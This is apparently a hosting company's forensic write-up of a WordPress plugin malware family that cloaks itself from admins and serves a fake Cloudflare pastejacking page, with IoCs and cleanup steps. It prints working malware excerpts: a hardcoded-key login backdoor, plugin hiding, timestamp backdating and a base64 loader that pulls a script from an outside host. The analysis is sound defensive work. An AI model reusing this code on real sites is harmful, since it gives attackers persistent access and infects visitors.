A deep dive into the “Fake Cloudflare Verification” WordPress malware

·

·

This article presents a detailed technical autopsy of a sophisticated malware campaign targeting WordPress websites, designed to trick visitors into compromising their own computers.

The attack culminates in a fake “Cloudflare Verification” page that uses social engineering to convince victims to run malicious commands in their terminal.

Fake Cloudflare verification page

If you’ve encountered a page like the one above while browsing the web, it’s crucial to understand what you are seeing. This is not a legitimate security check from Cloudflare or any other security provider. It is a sophisticated trap designed to compromise your personal computer.

The short answer: It’s a trap!

If this page appears, your next actions are critical for your security.

  • Do NOT follow the on-screen instructions.
  • Do NOT copy or paste anything into your Terminal or PowerShell.
  • Close the browser tab immediately.

The page is a scam. The issue is not with your connection’s security; the website you are visiting has been compromised by malware.

How the scam works (a simple explanation)

The attacker is using a technique known as “pastejacking” (a form of clipboard hijacking). The goal is to trick you into running a malicious command on your own computer.

Think of it like a magic trick for your clipboard.

  1. The Bait: The page shows you a harmless line of text, such as 'I am not a robot: Cloudflare Verification ID: 715921'.
  2. The Switch: However, when you click the “Copy” button, a hidden script copies a different, malicious command to your clipboard.
  3. The Trap: The attacker relies on you trusting the text you saw and pasting the hidden command into your computer’s terminal without verifying it first. Once you press Return, that malicious command runs, potentially installing malware, ransomware, or keyloggers on your system.

Who is at risk?

This specific attack is designed to target users of desktop operating systems like macOS and Windows. The instructions to open “Terminal” (for Mac) or “PowerShell” (for Windows) are the key indicators.

Users on mobile devices like phones and tablets are generally not targeted by this specific method, as they do not have the same command-line interfaces.

For site owners & developers — the technical deep dive

The investigation began after our proactive, server-side security systems detected and neutralized malicious code on several client accounts.

This automated action, while successful in disabling the threat’s core functions, resulted in PHP Fatal Errors on the affected sites. These errors, combined with client reports of a strange “cloaking” behavior, where the site appeared broken to the public but worked perfectly for logged-in admins, prompted a full forensic analysis.

Our investigation uncovered a complex WordPress malware family that disguises itself as plugins with procedurally generated names. We have identified several variants, including:

  • Plugin “Pouros, Bechtelar and Treutel,” internally identified by the text-domain emotional-haversack.
  • Plugin “Schowalter, Corkery and Krajcik,” identified by the text-domain forceful-premise.

It is highly probable that other variants exist, and we will update this article as new information becomes available.

A peculiar plugin

emotional-haversack

The plugin’s header immediately raised suspicion. It was a collection of nonsensical, procedurally generated data designed to mimic a legitimate plugin while revealing nothing of its true purpose.

/**
 * Plugin Name: Pouros, Bechtelar and Treutel
 * Description: Venustas apto umerus amoveo defaeco velum...
 * Version: 3.17.8
 * Text Domain: emotional-haversack
 * Author: Jerald Bernier MD
 */

The combination of a random corporate name, a Latin placeholder description, a fake author, and the bizarre emotional-haversack text domain served as the first indicator that this was no ordinary plugin.

A critical breakthrough in this investigation was the discovery of a second, seemingly different plugin named forceful_premise on another compromised site.

While its generated details were unique, its internal structure was identical. This confirmed that we were not dealing with a single piece of malware, but an entire family generated by the same malicious toolkit.

The malware’s DNA: what stays the same

  • Core Logic & File Structure: The operational flow (loader, includes, hooks, and core functions) remains identical across variants. The directory structure (/class/vendor/includes, etc.) is also preserved.
  • Obfuscation Strategy: The technique of using generative “noise” functions, nonsensical names, and decoy asset files is the malware’s consistent signature.

The procedural disguise: what changes

  • All Identifiers: The plugin name, folder name, author, URIs, and internal function/variable names are unique to each variant.
  • The Text Domain: Our analysis confirmed that even the Text Domain is procedurally generated (e.g., emotional-haversack in the first case, forceful-premise in the second). This is a key finding, as it invalidates using a single text domain as a reliable, unique indicator for detection.

Indicators of compromise (IoCs)

Administrators and security professionals should search for the following patterns and indicators to identify this threat:

  • Plugin Directory: A randomly named directory in wp-content/plugins/ (e.g., emotional_haversackforceful_premise).
  • Plugin Header: Search all plugin files for headers containing a Latin placeholder Description.
  • Backdoor URL Parameters: Check server access logs for requests containing the GET parameters harp_interesting or terrorise_seriously.
  • External Network Requests: Monitor outgoing traffic from your site’s frontend for requests to domains like javascriptbasics.com.
  • File System Artifacts: The presence of a license.txt file within the plugin’s subdirectories.

Infection vector – a compromised administrator account

While many infections exploit software vulnerabilities, the server logs for this case revealed a more direct and alarmingly common point of failure: compromised administrator credentials.

The attacker did not need to find a complex flaw in a plugin; they simply walked in the front door with a stolen key.

Anatomy of the breach via server logs

The access logs paint a clear, minute-by-minute picture of the breach:

1. The Login: [03/Sep/2025:10:59:39]

140.235.170.168 - - [03/Sep/2025:10:59:39 +0300] "POST /wp-login.php HTTP/2" 302 ...

The attack begins with a POST request to wp-login.php from the attacker’s IP (140.235.170.168). The 302 status code indicates a successful redirect, the standard result of a correct username and password submission. At this moment, the attacker gained full administrative access to the site.

2. The Upload: [03/Sep/2025:11:00:22]

140.235.170.168 - - [03/Sep/2025:11:00:22 +0300] "POST /wp-admin/update.php?action=upload-plugin HTTP/2" 200 ...

Less than a minute after logging in, the attacker navigated to the plugin installation area and used WordPress’s legitimate functionality to upload their malware, packaged as a ZIP file. This log entry shows the direct POST request to the plugin upload handler.

3. The Activation: [03/Sep/2025:11:00:33]

140.235.170.168 - - [03/Sep/2025:11:00:33 +0300] "GET /wp-admin/plugins.php?action=activate&plugin=emotional_haversack%2Femotional_haversack.php..."

Just 11 seconds later, the attacker activated the plugin. This single GET request triggered the entire malicious activation sequence.

This log analysis is critical because it demonstrates that the initial vulnerability was not in a piece of software, but in account security.

This underscores the paramount importance of strong, unique passwords and Two-Factor Authentication (2FA) as a primary line of defense.

The attack chain: a phase-by-phase autopsy

The malware implements a multi-layered strategy for infection, persistence, and evasion. The key attack vectors include:

  • A password-less authentication backdoor for persistent access.
  • Advanced hiding mechanisms in both the backend (the plugins list) and the frontend (IP-based cloaking for administrators).
  • An installation routine that modifies file timestamps to evade detection.
  • An extensive use of “noise” code and decoy files to frustrate analysis.

All of these sophisticated server-side mechanisms are designed with a single purpose: to successfully execute the final phase of the attack. This final phase is the delivery of a malicious JavaScript payload, which is responsible for hijacking the visitor’s browser and displaying the fake Cloudflare verification page.

The malware’s architecture is modular and deliberately fragmented. The attack unfolds in four distinct phases.

Phase 1: Activation & Entrenchment (The Setup)

Upon activation, the malware immediately executes a sophisticated setup routine designed not just to function, but to disappear.

Temporal camouflage
function obnoxiously_unnecessarily($path)
{
    $main = vacantly_chunder_selfish(dirname(neck_afterwards));

    if (is_dir($path)) {
        touch($path, $main);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo->getRealPath(), $main);
        }
    } else {
        touch($path, $main);
    }
}

The first and most clever setup function is designed to make the malware “age” itself instantly.

It scans the wp-content/plugins/ directory, finds the modification timestamp of the oldest legitimate plugin, and then recursively changes the “last modified” date of all its own files and folders to match this old timestamp.

This is a brilliant anti-detection technique. An admin inspecting the file system would normally spot a new plugin by its recent date. By backdating itself, the malware’s folder blends in, appearing as if it has been installed for months or years.

The state flag & cache purge
function fold_league_dutiful()
{
    $p = __DIR__ . "/" . "license.txt";
    file_put_contents($p, "e2075474294983e013ee4dd2201c7a73=1");
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    chairperson_nervously_not();
}

The second activation function handles state management and prepares for payload delivery.

It creates a license.txt file to act as an “active” flag. It then calls a master cache-purging function that aggressively clears the caches of WordPress’s native object cache and major plugins like WP RocketW3 Total Cache, and WP Fastest Cache. to ensure the malicious payload is delivered to the very next visitor.

Phase 2: persistence & evasion (the core backdoor)

With the malware entrenched, its next priority is ensuring long-term, undetected access.

The authentication backdoor
function inventory_tenant_innovate_wildly()
{
    if (isset($_GET['harp_interesting']) && isset($_GET['terrorise_seriously'])) {
        $temp = intval($_GET['harp_interesting']);

        if ($_GET['terrorise_seriously'] !== "2MMatYMDsDr4yMlFmKx3pB5G9iBVTsU0NwOwTE78ShvqQ4Ui") {
            exit;
        }
        wp_set_auth_cookie($temp);
        wp_redirect("/wp-admin");
        exit;
    }
}

add_action('init', 'inventory_tenant_innovate_wildly');

This provides the attacker with a permanent, password-less “skeleton key” to the website.

Hooked to the init action (running on every page load), this function listens for a user ID and a hardcoded secret key GET parameters in the URL. If the correct key is provided, it calls wp_set_auth_cookie() and logs the attacker in as that user without a password.

Backend invisibility
function extent_sanity_svelte_fray($plugins)
{
    $temp = "emotional_haversack/emotional_haversack.php";

    if (isset($plugins[$temp])) {
        unset($plugins[$temp]);
    }

    return $plugins;
}

To avoid detection, the plugin renders itself invisible within the WordPress dashboard.

The function hooks into the all_plugins filter, intercepts the list of plugins before display and removes itself from the list of plugins displayed in the admin dashboard.

Now, the plugin is fully active but does not appear in the list of installed plugins, making it a “ghost.”

Phase 3: reconnaissance & cloaking (the stealth engine)

This is the malware’s most sophisticated feature, allowing it to hide the payload from site owners.

Harvesting admin IPs
function amendment_majestically_neck() {
    global $wpdb;
    
    $results = $wpdb->get_results("
        SELECT um.meta_value as session_data
        FROM {$wpdb->usermeta} um
        INNER JOIN {$wpdb->usermeta} um2 ON um.user_id = um2.user_id
        WHERE um.meta_key = 'session_tokens'
        AND um2.meta_key = 'wp_capabilities'
        AND (um2.meta_value LIKE '%administrator%' OR um2.meta_value LIKE '%editor%')
        AND um.meta_value != ''
    ");
    
    return array_unique($temp);
}

Before delivering its payload, the malware needs to know who to hide from.

Through a direct SQL query, the function identifies all administrator and editor users and extracts the IP addresses from their active session_tokens.

The list of IP addresses is then cached for five minutes using the Transients API.

The cloaking decision engine
function vanish_commodity_closely() {
    $main = babushka_frightfully();
    $temp = cripple_platypus();
    
    return in_array($main, $temp);
}

This function is the core of the cloaking mechanism. It compares a visitor’s current IP against the cached list of admin IPs, returning true if the visitor is an admin.

This prevents the payload delivery script from being shown if the visitor is an admin.

Phase 4: payload delivery (the final strike)

The culmination of all these efforts is the delivery of the malicious payload to unsuspecting visitors.

The gatekeeper
function deliberately_noteworthy_digitize()
{
    $temp = 'aHR0cHM6Ly9qYXZhc2NyaXB0YmFzaWNzLmNvbS9xTDQ3SzYwbFA1Y1ZVa3R5R2Z3cDFYYm51MEJIYU9jVkw3MGtpRDFLYmJE';
    wp_register_script('suddenly_really_list', base64_decode($temp), array(), null, false);
    wp_enqueue_script('suddenly_really_list');
}

Hooked to wp_enqueue_scripts, this function acts as the final gatekeeper.

The script is only injected if all cloaking conditions are met (the visitor is not an admin, not on a login page, not using the backdoor URL, and their IP is not on the admin list).

The malicious payload

If a visitor passes all checks, the final payload is executed. A Base64 string is decoded to reveal an external JavaScript URL (https://javascriptbasics.com/[...]), which is then injected into the page via wp_enqueue_script.

This script is responsible for the final pastejacking attack, displaying the fake Cloudflare verification page with the message Ususual Web Traffic Detected and the request to verify that you are a legitimate user.

The art of misdirection

Beyond its core functions, the malware is a masterclass in misdirection.

  • Generative gibberish: Every file, function, and variable name is a nonsensical combination of words, making the code unreadable.
  • The decoy arsenal: The plugin directory is populated with non-functional .js files (containing fatal syntax errors), .json and .css files (with duplicated, nonsensical code), and simple .png images. Their sole purpose is to act as “set dressing,” making the plugin’s structure appear legitimate.

Full remediation & hardening protocol

Identifying and removing this threat requires a methodical approach.

Step 1: Identification

Due to the polymorphic nature of this malware, do not rely on a single filename. Search for the patterns and IoCs listed above, especially a plugin with a random name and a Latin description.

PHP errors referencing a missing include, function not found or invalid function name from a strange plugin is often the first symptom.

If your hosting provider has a malware scanner, it will probably detect and clean the infection, leading to errors like "The white screen of death" or "There's been a critical error on your website."

Step 2: Full removal

  1. Delete the plugin directory: Manually delete the entire plugin directory (e.g., emotional_haversack/forceful_premise/) via FTP or SSH.
  2. Inspect for persistence: Check wp-config.php.htaccess, and wp-content/uploads/ for any suspicious files or modifications.
  3. Verify user accounts: Audit all administrator accounts in the database.

Step 3: Post-hack security measures

  1. Reset all secrets: Immediately reset all WordPress admin passwords, database passwords, FTP/SFTP passwords, and hosting passwords.
  2. Force logout all users: Invalidate all current login sessions.
  3. Update everything: Ensure WordPress core, themes, and all remaining plugins are on their latest versions.

Step 4: Long-term prevention

  1. Never use pirated (“nulled”) premium themes and plugins. Purchase legitimate licenses to support developers and ensure your site’s security.
  2. Perform regular audits: Use a trusted security plugin to perform regular file integrity scans and malware checks.
  3. Maintain proper digital hygiene. Install an antivirus or antimalware program on your computer, keep your OS and browser updated, don’t use browser extensions from untrusted sources, avoid free public Wi-Fi, etc.

We will publish a more in-depth security guide for site owners, so follow Kiravo on social media (LinkedIn, Facebook, X, YouTube) to keep up with our updates.

Conclusion

This case highlights the importance of a defense-in-depth security strategy.

Automated server-side security, like that deployed on the Kiravo hosting platform, provides an essential first line of defense, capable of detecting and neutralizing threats in real time.

While disruptive, the fatal errors triggered by our system’s intervention ultimately were a positive signal that the malicious code had been stopped.

However, complete security is a shared responsibility. By combining proactive hosting security with responsible user practices, we can create a much safer and more resilient environment for everyone in the WordPress ecosystem.

Andrei Chira avatar

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *